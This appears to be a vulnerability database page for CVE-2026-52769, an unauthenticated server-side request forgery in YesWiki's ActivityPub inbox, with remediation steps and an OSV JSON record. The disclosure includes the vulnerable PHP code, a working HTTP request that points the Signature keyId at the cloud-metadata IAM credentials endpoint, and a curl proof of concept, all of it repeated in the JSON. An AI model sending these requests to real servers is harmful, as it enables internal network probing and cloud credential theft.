CVE-2026-52769: Yeswiki/yeswiki YesWiki Has Unauthenticated Server-Side Request Vulnerability

HIGH
Advisory Identifier: GHSA-vw42-752g-5mrp
CVSS 8.3
CWE-918
Published
Advisory Summary

CVE-2026-52769 is a HIGH (CVSS 8.3) yeswiki has unauthenticated server-side request vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves yeswiki has unauthenticated server-side request forgery via activitypub `signature.keyid`. Remediation is available by upgrading affected packages to version 4.6.6.

CVE-2026-52769 at a Glance

CVE Identifier CVE-2026-52769
GHSA Identifier GHSA-vw42-752g-5mrp
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Yeswiki/yeswiki
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-52769

To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yeswiki/yeswiki fixed: 4.6.6
Upgrade yeswiki/yeswiki to 4.6.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yeswiki/yeswiki

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52769, inspect your project dependencies for Yeswiki/yeswiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:"public"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`). ## Details ### Affected component * **File:** `tools/bazar/services/HttpSignatureService.php` * **Method:** `HttpSignatureService::verifySignature(Request $request)` * **Sink:** line **96** * **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})` ```php // tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD, // lines 83–100) public function verifySignature(Request $request) { if (!$request->headers->has('Signature')) { throw new Exception('No signature'); } $sigConf = parse_ini_string( strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field ); if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) { throw new Exception('Malformed signature'); } $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation, 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme ]); // pinning, no IP filtering ... } ``` The inbox controller calls `verifySignature()` **before** running any cryptography: ```php // tools/bazar/controllers/ApiController.php (lines 125–145) /** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */ public function postFormActorInbox($formId, Request $request) { $activityPubService = $this->getService(ActivityPubService::class); $httpSignatureService = $this->getService(HttpSignatureService::class); $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId]; if ($activityPubService->isEnabled($form)) { $activity = json_decode($request->getContent(), true); $httpSignatureService->verifySignature($request); // <-- SSRF fires here $activityPubService->processActivity($activity, $form); return new ApiResponse(null, Response::HTTP_OK, …); } else { throw new NotFoundHttpException(); } } ``` The flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network. ### End-to-end attack chain A single HTTP request, no session, no CSRF token, no captcha: ```http POST /?api/forms/1/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y" {} ``` * The Symfony controller matches the route on `formId=1`. * `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on). * `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`. * YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL. ## PoC ### Pre Reqs * Yeswiki v4.6.5 lab image (Setup via podman) * ActivityPub enabled on the target form For the rest of this document: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" ``` Before we start, make sure ActivityPub is enabled on the target form ```bash podman exec "$CTR" mysql -uroot yeswiki -e \ "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap FROM yeswiki_nature WHERE bn_id_nature = 1;" ``` Send the unauthenticated SSRF trigger: ```bash TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf" curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \ -d '{}' \ -w '\n HTTP %{http_code}, elapsed=%{time_total}s\n' ``` You will get an error in response like this: ```json {"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"} HTTP 500, elapsed=0.15s ``` The `500` and the `"Missing public key"` exception are the **signal** the outbound fetch went all the way to the JSON parse — the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener. Tested with webhook: <img width="1473" height="678" alt="image" src="https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc" />

CVE-2026-52769 Affected Yeswiki/yeswiki Versions

1 component(s)
Fixed Versions:
4.6.6
Product / Package Ecosystem Affected Versions Fixed Version
yeswiki/yeswiki
Packagist
≥ 4.6.2
< 4.6.6
4.6.6

References

Frequently Asked Questions

What is CVE-2026-52769?
CVE-2026-52769 is a security vulnerability in Yeswiki/yeswiki involving YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId` under CWE-918: Server-Side Request Forgery (SSRF).
Which Yeswiki/yeswiki versions are affected?
Affected versions include releases prior to 4.6.6 across affected packages: yeswiki/yeswiki.
What version fixes CVE-2026-52769?
Upgrading to 4.6.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yeswiki/yeswiki affected?
Yes, yeswiki/yeswiki is affected in releases prior to 4.6.6. Upgrade your dependency to 4.6.6 or later.
What is the CVSS score of CVE-2026-52769?
CVE-2026-52769 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L.
What CWE is associated with CVE-2026-52769?
CVE-2026-52769 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-52769?
Run the dependency tree command: 'inspect dependencies for yeswiki/yeswiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vw42-752g-5mrp",
  "modified" : "2026-07-09T20:58:33Z",
  "published" : "2026-07-09T20:58:33Z",
  "aliases" : [ "CVE-2026-52769" ],
  "summary" : "YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`",
  "details" : "## Summary\nThe `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:\"public\"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83–100)\npublic function verifySignature(Request $request) {\n    if (!$request->headers->has('Signature')) {\n        throw new Exception('No signature');\n    }\n\n    $sigConf = parse_ini_string(\n        strtr($request->headers->get('Signature'), [\",\" => \"\\n\"])           // (a) attacker controls every field\n    );\n\n    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {\n        throw new Exception('Malformed signature');\n    }\n\n    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,\n        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme\n    ]);                                                                  //     pinning, no IP filtering\n    ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php  (lines 125–145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n    $activityPubService   = $this->getService(ActivityPubService::class);\n    $httpSignatureService = $this->getService(HttpSignatureService::class);\n\n    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];\n\n    if ($activityPubService->isEnabled($form)) {\n        $activity = json_decode($request->getContent(), true);\n\n        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here\n        $activityPubService->processActivity($activity, $form);\n        return new ApiResponse(null, Response::HTTP_OK, …);\n    } else {\n        throw new NotFoundHttpException();\n    }\n}\n```\n\nThe flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`.\n* YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n    \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n     FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n     -d '{}' \\\n     -w '\\n  HTTP %{http_code}, elapsed=%{time_total}s\\n'\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:…\"}\n  HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse — the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n<img width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.6.2"
      }, {
        "fixed" : "4.6.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  }, {
    "type" : "WEB",
    "url" : "http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-09T20:58:33Z",
    "nvd_published_at" : null
  }
}